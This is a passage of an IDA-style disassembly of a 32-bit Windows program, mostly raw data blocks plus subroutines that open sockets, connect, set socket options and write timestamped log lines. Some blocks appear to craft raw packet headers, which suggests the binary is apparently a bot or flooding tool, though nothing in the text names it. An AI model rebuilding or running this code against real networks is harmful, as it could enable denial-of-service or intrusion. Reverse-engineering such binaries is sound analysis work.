		dd 6A036A00h, 0F0458902h, 0BA5415FFh, 4589004Ch, 50D6FFF8h
		dd 7273E8h, 78BF5900h, 57000005h, 16A096Ah, 3B7CE8h, 50595900h
		dd 50D8458Dh, 6F0FE8h, 0CC48300h, 5A0BEh, 0B7CCE800h, 2B900227h
		dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h
		dd 4CF1801Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h
		dd 6ED0h, 8D0CC483h, 8D50EC45h,	0FF509845h, 15FF0875h
		dd 4CB978h, 0FF68h, 0E8016A00h,	3B11h, 0F505959h, 509E45B6h
		dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h,	42D90468h
		dd 83E85000h, 83000071h, 13EB18C4h, 0FF34858Dh,	6068FFFFh
		dd 50004CEBh, 7797E8h, 8D595900h, 0FFFF3485h, 15FF50FFh
		dd 4CBA14h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h
		dd 15FFA845h, 4CB9D4h, 0AE458966h, 7199E8h, 45896600h
		dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h
		dd 0C640B445h, 6606B545h, 89B65D89h, 6FE8BC45h,	66000071h
		dd 0E8C04589h, 7166h, 0C2458966h, 715DE8h, 0C4458900h
		dd 7155E8h, 0C8458900h,	66CC458Bh, 6AFF5025h, 0C6500C14h
		dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h
		dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h,	66D45D89h
		dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h
		dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh
		dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh
		dd 6FFFFFFh, 69C55DE8h,	89669071h, 0FFFF5E85h, 60858DFFh
		dd 6AFFFFFFh, 458D5014h, 1DE850C0h, 8D00007Bh, 0FFFF7485h
		dd 8D5057FFh, 0E850D845h, 7B0Ch, 0FF54858Dh, 9868FFFFh
		dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah
		dd 8D535088h, 5056A845h, 0FFF875FFh, 4CBA3815h,	0FC45FF00h
		dd 0FFFE20E9h, 0F875FFFFh, 0BA6C15FFh, 458B004Ch, 5B5E5FFCh
; ---------------------------------------------------------------------------
		leave
		retn
; ---------------------------------------------------------------------------
word_41525A	dw 8B55h		; DATA XREF: sub_401ACD+4B97o
		dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h
		dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh
		dd 1082C7FCh, 1000002h,	0F3000000h, 37E8A5h, 0C4810000h
		dd 214h, 0EC858D50h, 68FFFFFBh,	437C8Ch, 6FB4E850h, 858D0000h
		dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6410E8F0h,	0C483FFFFh
		dd 90006A14h, 2CAD2FE8h, 0EC8B5502h, 254EC81h, 56530000h
		dd 0FFBBh, 6A535700h, 0FF026A03h, 4CBA5415h, 0FFF88300h
		dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 437E7Ch, 6F60E850h
		dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h
		dd 0C7505702h, 1EC45h, 15FF0000h, 4CB9B4h, 75FFF883h, 6815FF0Eh
		dd 50004CB9h, 437E2C68h, 8D1BEB00h, 0FF500C45h,	4CBA1415h
		dd 0FFF88300h, 15FF2075h, 4CB968h, 7DE86850h, 858D0043h
		dd 0FFFFFDACh, 6F04E850h, 0C4830000h, 26EE90Ch,	66570000h
		dd 2DC45C7h, 0D415FF00h, 66004CB9h, 8DDE4589h, 90500C45h
		dd 69BF73E8h, 0B0358B71h, 89004270h, 0D6FFE045h, 8DF84589h
		dd 8D500C45h, 0FFFDAC85h, 7DBC68FFh, 0E8500043h, 6EBEh
		dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh
		dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF4499h
		dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h
		dd 858DF08Bh, 10Ch, 6D67E850h, 0F03B0000h, 93870F59h, 0BE000001h
		dd 41Ch, 0FFBB05EBh, 39000000h,	4CF1803Dh, 6A527500h, 45895810h
		dd 458D50F0h, 0E85057CCh, 6B50h, 8D0CC483h, 8D50F045h
		dd 0FF50CC45h, 15FF0875h, 4CB978h, 0E8016A53h, 3795h, 0F505959h
		dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h,	0D90468ACh
		dd 0E8500042h, 6E0Ah, 0EB18C483h, 0AC458D10h, 4CEB6068h
		dd 21E85000h, 59000074h, 5C65659h, 4CED60h, 0D415FF45h
		dd 66004CB9h, 4CED62A3h, 0AC458D00h, 5C76650h, 4CED64h
		dd 89660001h, 4CED663Dh, 6805C600h, 80004CEDh, 0ED6905C6h
		dd 6611004Ch, 0ED6A3D89h, 15FF004Ch, 4CBA14h, 4CED6CA3h
		dd 0E0458B00h, 4CED70A3h, 8C858D00h, 50000000h,	7A3D8966h
		dd 0E8004CEDh, 6C85h, 7559C085h, 6DE4E810h, 0B9990000h
		dd 401h, 0EB52F9F7h, 8C858D0Eh,	50000000h, 6C64E8h, 0FF505900h
		dd 4CB9D415h, 76A36600h, 0E8004CEDh, 6DBAh, 401B999h, 8680000h
		dd 0F7000004h, 158966F9h, 4CED74h, 0B9D415FFh, 68004Ch
		dd 66000004h, 4CED78A3h, 6D90E800h, 0F7990000h,	7C6852FBh
		dd 0E8004CEDh, 6A30h, 8D0CC483h, 106ADC45h, 68565750h
		dd 4CED60h, 0FFF475FFh,	4CBA3815h, 0FFF88300h, 0A5840Fh
		dd 45FF0000h, 0CFE890FCh, 2B0227B2h, 0D233F845h, 3E8B9h
		dd 8BF1F700h, 0C858DD8h, 50000001h, 6BD4E8h, 59D83B00h
		dd 0FE74860Fh, 75FFFFFFh, 6C15FFF4h, 8B004CBAh,	858DFC75h
		dd 10Ch, 1CF66950h, 0E8000004h,	6BADh, 8BD23359h, 0C1C68BC8h
		dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 437D5868h
		dd 0AC858D00h, 50FFFFFDh, 6C91E8h, 18C48300h, 214BD39h
		dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h
		dd 18Ch, 875FF50h, 0FF426CE8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh
		dd 0FF56FC75h, 4CB96815h, 458D5000h, 0CC68500Ch, 0EB00437Ch
		db 0ACh
byte_41561D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6283o
		dd 414EC81h, 458B0000h,	0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh
		dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6B09h, 858D5059h
		dd 0FFFFFE70h, 6AFBE850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh
		dd 4CBA1415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h
		dd 7EA868FFh, 0E8500043h, 6BDEh, 0C483F633h, 0F875390Ch
		dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh
		dd 0FDECB5FFh, 0BAE8FFFFh, 83FFFF41h, 858D14C4h, 0FFFFFBECh
		dd 67AE850h, 75FF0000h,	6010E8F0h, 5959FFFFh, 31E89056h
		dd 5F022CA9h
; ---------------------------------------------------------------------------
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	dword ptr [ebp-4], 0
		cmp	dword ptr [ebp+14h], 0
		push	esi
		push	edi
		jnz	short loc_4156FA
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		nop
		call	near ptr 71AB3E5Dh
		jmp	loc_4157B6
; ---------------------------------------------------------------------------


loc_4156FA:				; CODE XREF: ___:004156E4j
		mov	esi, [ebp+8]
		push	1
		pop	edi
		lea	eax, [ebp-8]
		push	eax
		push	8004667Eh
		push	esi
		mov	[ebp-8], edi
		nop
		call	near ptr 71AB155Ah
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	esi
		call	dword_4CB97C
		push	dword ptr [ebp+14h]
		lea	eax, [ebp-210h]
		mov	[ebp-108h], esi
		mov	[ebp-10Ch], edi
		push	0
		push	eax
		lea	eax, [ebp-10Ch]
		mov	[ebp-20Ch], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp-210h], edi
		call	dword_4CB9BC
		test	eax, eax
		jnz	short loc_41575E
		or	eax, 0FFFFFFFFh
		jmp	short loc_4157B6
; ---------------------------------------------------------------------------


loc_41575E:				; CODE XREF: ___:00415757j
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_415769


loc_415765:				; CODE XREF: ___:00415789j
					; ___:004157ADj
		mov	eax, edi
		jmp	short loc_4157B6
; ---------------------------------------------------------------------------


loc_415769:				; CODE XREF: ___:00415763j
		lea	eax, [ebp-10Ch]
		push	eax
		push	esi
		call	sub_426350
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41578B
		lea	eax, [ebp-210h]
		push	eax
		push	esi
		call	sub_426350
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_415765


loc_41578B:				; CODE XREF: ___:00415778j
		lea	eax, [ebp+8]
		mov	dword ptr [ebp+8], 4
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		nop
		call	near ptr 71AB4122h
		cmp	eax, edi
		jz	short loc_415765
		mov	eax, [ebp-4]
		neg	eax
		sbb	eax, eax


loc_4157B6:				; CODE XREF: ___:004156F5j
					; ___:0041575Cj ...
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		dw 8B55h
		dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h
		dd 6A000000h, 89026A03h, 22E8EC45h, 90716A02h, 6AEC4D8Dh
		dd 26A5104h, 0F0A35053h, 0FF004CF1h, 4CB9B415h,	0B0358B00h
		dd 0FF004270h, 0B5E850D6h, 5900006Ah, 196AC033h, 0FF00BD8Dh
		dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh
		dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h,	0FFFFFF78h
		dd 15h,	0FF7C85C7h, 16FFFFh, 45C70000h,	1780h, 8845C700h
		dd 35h,	508C45C7h, 0C7000000h, 519045h,	45C70000h, 5894h
		dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h
		dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h
		dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh,	0BC45C7h, 0C7000004h
		dd 599C045h, 45C70000h,	5DCC4h,	0C845C700h, 6B8h, 0EACC45C7h
		dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h
		dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h
		dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h
		dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh
		dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 0D415FF50h
		dd 53004CB9h, 26A016Ah,	66858966h, 0FFFFFFFFh, 4CBA5415h
		dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h
		dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 0BA6C15FFh, 5D39004Ch
		dd 8B0C75F8h, 78BFC4Dh,	0F40D8489h, 83FFFFFEh, 8304FC45h
		dd 7C70FC7Dh, 0F1F4BF83h, 0C068004Ch, 570042CDh, 68D9E8h
		dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh
		dd 452BD6FFh, 0B9D233F4h, 3E8h,	453BF1F7h, 8B45770Ch, 8BF845h
		dd 1574C33Bh, 0D4685750h, 5700437Eh, 0E8F04589h, 689Ah
		dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 31F5h, 0FF505959h
		dd 4CB9D415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h
		dd 0A87C1CFCh, 6853286Ah, 4CF190h, 656BE8h, 0FFFFBE00h
		dd 5C60000h, 4CF190h, 685645h, 0C6000004h, 4CF19905h, 5C60600h
		dd 4CF191h, 31A7E808h, 0C4830000h, 15FF5014h, 4CB9D4h
		dd 0A366286Ah, 4CF194h,	0B9D415FFh, 0D80004Ch, 4CF198h
		dd 801D39FFh, 66004CF1h, 4CF192A3h, 1D896600h, 4CF196h
		dd 0FE681A75h, 6A0000FFh, 3167E801h, 59590000h,	0C1084D8Bh
		dd 0CE2310E0h, 0BEBC10Bh, 4CEB6068h, 1415FF00h,	0A3004CBAh
		dd 4CF19Ch, 6808458Bh, 4000h, 4CF1A0A3h, 0B11D8800h, 0FF004CF1h
		dd 4CB9D415h, 66535600h, 4CF1B2A3h, 3123E800h, 0F88B0000h
		dd 0E7C15356h, 3117E808h, 0C4830000h, 57F80310h, 0B9D015FFh
		dd 0A8A3004Ch, 0A0004CF1h, 4CF1B0h, 24087D8Bh, 6A500C0Fh
		dd 0F1B0A214h, 8B66004Ch, 1D89F045h, 4CF1ACh, 0B61D8966h
		dd 66004CF1h, 4CF1A6A3h, 0CC3D8900h, 88004CF1h,	4CF1D01Dh
		dd 0D105C600h, 6004CF1h, 0B9D415FFh, 0A366004Ch, 4CF1D2h
		dd 0F1A6A166h, 0C766004Ch, 4CF1B805h, 89000200h, 4CF1BC3Dh
		dd 0BAA36600h, 89004CF1h, 5EBFC5Dh, 0FFFFBEh, 0FC5D3900h
		dd 53562F75h, 308CE8h, 50595900h, 0B9D415FFh, 0A366004Ch
		dd 4CF1A4h, 4CF19CA1h, 0F1C8A300h, 5C6004Ch, 4CF1B1h, 0AC1D8902h
		dd 0EB004CF1h, 0C653561Fh, 4CF1B105h, 56E81000h, 59000030h
		dd 15FF5059h, 4CB9D4h, 0A3C0B70Fh, 4CF1ACh, 9405FF66h
		dd 0FF004CF1h, 4CF1A805h, 0A6A16600h, 6A004CF1h, 0A4BE5905h
		dd 0BF004CF1h, 4CF1D4h,	9A1D8966h, 66004CF1h, 0F1B41D89h
		dd 146A004Ch, 90BEA5F3h, 66004CF1h, 4CF1BAA3h, 90E85600h
		dd 6AFFFF4Eh, 0F1C86820h, 0A366004Ch, 4CF19Ah, 0FF4E7EE8h
		dd 10C483FFh, 0F1B4A366h, 106A004Ch, 4CF1B868h,	286A5300h
		dd 0F035FF56h, 0FF004CF1h, 4CBA3815h, 0FC45FF00h, 0FFFC7D81h
		dd 0F000003h, 0FFFF238Ch, 0AC24E8FFh, 2B900227h, 0D233F445h
		dd 3E8B9h, 3BF1F700h, 0E770C45h, 0E81075FFh, 225B267h
		dd 0FDC2E990h, 5E5FFFFFh, 4CF1F4B8h, 0C3C95B00h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415C40	proc near		; CODE XREF: sub_401ACD+7111p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43DB90
		mov	edi, 0B8h


loc_415C54:				; CODE XREF: sub_415C40+33j
		cmp	byte ptr [esi],	0
		jz	short loc_415C77
		push	[ebp+arg_0]
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415C77
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_43E710
		jl	short loc_415C54
		jmp	short loc_415CB9
; ---------------------------------------------------------------------------


loc_415C77:				; CODE XREF: sub_415C40+17j
					; sub_415C40+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43DB90[esi]
		push	ebx
		call	sub_41BF70
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_41BFD0
		push	9Fh
		lea	eax, dword_43DBA8[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_41BFD0
		add	esp, 24h
		inc	dword_4294CC
		pop	ebx


loc_415CB9:				; CODE XREF: sub_415C40+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_415C40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415CC0	proc near		; CODE XREF: sub_401ACD+289Ap

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_437EF0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43DB90


loc_415CEA:				; CODE XREF: sub_415CC0+72j
		cmp	byte ptr [esi],	0
		jz	short loc_415D25
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_437EDC
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41C360
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 2Ch


loc_415D25:				; CODE XREF: sub_415CC0+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_43E710
		jl	short loc_415CEA
		pop	edi
		pop	esi
		leave
		retn
sub_415CC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415D38	proc near		; CODE XREF: ___:004015A5p
					; ___:00401629p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		nop
		call	near ptr 2790000h
		mov	ebx, offset dword_4D35F4
		mov	edi, 80h
		mov	esi, offset dword_4CF5F4


loc_415D5A:				; CODE XREF: sub_415D38+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_415D71
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_415D71:				; CODE XREF: sub_415D38+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_415D5A
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41C360
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415D38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415DAC	proc near		; CODE XREF: sub_4017ED+F7p
					; sub_401ACD:loc_408967p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41CB70
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_415D38
		add	esp, 14h
		leave
		retn
sub_415DAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_415DD8	proc near		; CODE XREF: sub_401ACD+278Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_4CF5F4
		xor	ecx, ecx


loc_415DDF:				; CODE XREF: sub_415DD8+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4D35F4
		jl	short loc_415DDF
		cmp	[esp+arg_C], ecx
		jnz	short loc_415E0D
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_437F3C
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_409869
		add	esp, 14h


loc_415E0D:				; CODE XREF: sub_415DD8+19j
		push	offset dword_437F28
		call	sub_415D38
		pop	ecx
		retn
sub_415DD8	endp


; =============== S U B	R O U T	I N E =======================================



sub_415E19	proc near		; CODE XREF: ___:0040E1FFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, offset dword_4CF5F4


loc_415E1F:				; CODE XREF: sub_415E19+27j
		cmp	byte ptr [esi],	0
		jz	short loc_415E34
		push	[esp+4+arg_0]
		push	esi
		call	sub_4185D3
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_415E46


loc_415E34:				; CODE XREF: sub_415E19+9j
		add	esi, 80h
		cmp	esi, offset dword_4D35F4
		jl	short loc_415E1F
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_415E46:				; CODE XREF: sub_415E19+19j
		push	1
		pop	eax
		pop	esi
		retn
sub_415E19	endp

; ---------------------------------------------------------------------------
byte_415E4B	db 55h			; DATA XREF: sub_401ACD+2844o
; ---------------------------------------------------------------------------
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-11Ch]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp-10h], edx
		mov	dword ptr [ebp-8], 80h
		mov	[ebp-4], edx
		mov	[eax+110h], edi
		jnz	short loc_415E9E
		push	edx
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	offset dword_437F6C
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409869
		add	esp, 14h


loc_415E9E:				; CODE XREF: ___:00415E7Ej
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415EBE
		lea	eax, [ebp-98h]
		push	eax
		call	sub_41C159
		test	eax, eax
		pop	ecx
		mov	[ebp-4], eax
		jz	short loc_415EBE
		mov	[ebp-8], eax


loc_415EBE:				; CODE XREF: ___:00415EA5j
					; ___:00415EB9j
		and	dword ptr [ebp+8], 0
		mov	esi, offset dword_4CF5F4


loc_415EC7:				; CODE XREF: ___:00415F1Fj
		mov	eax, [ebp+8]
		cmp	eax, [ebp-8]
		jge	short loc_415F21
		cmp	byte ptr [esi],	0
		jz	short loc_415F10
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415EF6
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_415EF6
		lea	eax, [ebp-98h]
		push	eax
		push	esi
		call	sub_4185D3
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415F10


loc_415EF6:				; CODE XREF: ___:00415EDBj
					; ___:00415EE1j
		push	edi
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	esi
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409869
		add	esp, 14h


loc_415F10:				; CODE XREF: ___:00415ED2j
					; ___:00415EF4j
		inc	dword ptr [ebp+8]
		add	esi, 80h
		cmp	esi, offset dword_4D35F4
		jl	short loc_415EC7


loc_415F21:				; CODE XREF: ___:00415ECDj
		lea	eax, [ebp-31Ch]
		push	offset dword_437F50
		push	eax
		call	sub_41C266
		xor	esi, esi
		pop	ecx
		cmp	[ebp-10h], esi
		pop	ecx
		jnz	short loc_415F5B
		push	esi
		lea	eax, [ebp-31Ch]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-118h]
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409869
		add	esp, 14h


loc_415F5B:				; CODE XREF: ___:00415F39j
		lea	eax, [ebp-31Ch]
		push	eax
		call	sub_415D38
		push	dword ptr [ebp-18h]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		nop
; ---------------------------------------------------------------------------
		db 0E8h
		dd 22CA088h
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F7A	proc near		; CODE XREF: ___:0041661Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CBA54
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_415FF6
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CB9D4
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CBA14
		cmp	eax, esi
		jnz	short loc_415FDB
		push	[ebp+arg_0]
		call	dword_4CBA58
		test	eax, eax
		jz	short loc_415FF6
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_415FDB:				; CODE XREF: sub_415F7A+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CB97C
		cmp	eax, esi
		jnz	short loc_415FFA
		push	edi
		call	dword_4CBA6C


loc_415FF6:				; CODE XREF: sub_415F7A+1Bj
					; sub_415F7A+58j
		mov	eax, esi
		jmp	short loc_415FFC
; ---------------------------------------------------------------------------


loc_415FFA:				; CODE XREF: sub_415F7A+73j
		mov	eax, edi


loc_415FFC:				; CODE XREF: sub_415F7A+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_415F7A	endp

; ---------------------------------------------------------------------------
dword_416000	dd 0B8EC8B55h, 11B4h, 64F3E8h, 8458B00h, 6A575653h, 59F08B6Dh
					; DATA XREF: sub_401ACD+A02o
		dd 0FE4CBD8Dh, 0A5F3FFFFh, 0FF5E016Ah, 0B089EC75h, 1B0h
		dd 0FE54858Dh, 0E850FFFFh, 0FFFFFF42h, 8359D88Bh, 7559FFFBh
		dd 4C858D52h, 68FFFFEEh, 437FECh, 6214E850h, 0FF330000h
		dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h
		dd 0FFFFFF6Ch, 0F6E85350h, 83FFFF37h, 858D14C4h, 0FFFFEE4Ch
		dd 0FCB6E850h, 75FFFFFFh, 564CE8F0h, 5959FFFFh,	6DE89056h
		dd 68022C9Fh, 43DB88h, 4113E853h, 83590000h, 7559FFF8h
		dd 4C858D59h, 68FFFFEEh, 437FBCh, 61B0E850h, 0FF330000h
		dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h
		dd 0FFFFFF6Ch, 92E85350h, 83FFFF37h, 858D14C4h,	0FFFFEE4Ch
		dd 0FC52E850h, 5359FFFFh, 0BA6C15FFh, 75FF004Ch, 55E0E8F0h
		dd 5659FFFFh, 2C9F03E8h, 646A9002h, 0AD91E890h,	0FF330225h
		dd 1000BEh, 858D5600h, 0FFFFEE4Ch, 55E85057h, 8300005Eh
		dd 858D0CC4h, 0FFFFEE4Ch, 53505657h, 0B9EC15FFh, 0C085004Ch
		dd 858D387Eh, 0FFFFEE4Ch, 42A08068h, 5DE85000h,	8D000067h
		dd 0FFEE4C85h, 4EE850FFh, 8300003Eh, 0C0850CC4h, 646A1474h
		dd 0AD39E890h, 0A6A0225h, 0FF549DE8h, 59C085FFh, 858DA375h
		dd 0FFFFEE4Ch, 437F8868h, 0EBE85000h, 39000060h, 5959F87Dh
		dd 8D571B75h, 0FFEE4C85h, 0F475FFFFh, 6C858D50h, 50FFFFFFh
		dd 36CFE853h, 0C483FFFFh, 4C858D14h, 50FFFFEEh,	0FFFB8FE8h
		dd 0FF5359FFh, 4CBA6C15h, 0F075FF00h, 0FF551DE8h, 905759FFh
		dd 2C9E3FE8h
		db 2
; ---------------------------------------------------------------------------


loc_4161C1:				; DATA XREF: sub_401ACD+7696o
		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1FCh]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp-10h], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp-0Ch], esi
		mov	[ebp-20h], esi
		call	dword_4CBA54
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-18h], edi
		jnz	short loc_41620F
		push	offset unk_4380EC
		jmp	loc_4163C8
; ---------------------------------------------------------------------------


loc_41620F:				; CODE XREF: ___:00416203j
		push	10h
		lea	eax, [ebp-30h]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-30h], 2
		push	esi
		call	dword_4CB9D4
		mov	[ebp-2Eh], ax
		lea	eax, [ebp-30h]
		push	10h
		push	eax
		push	edi
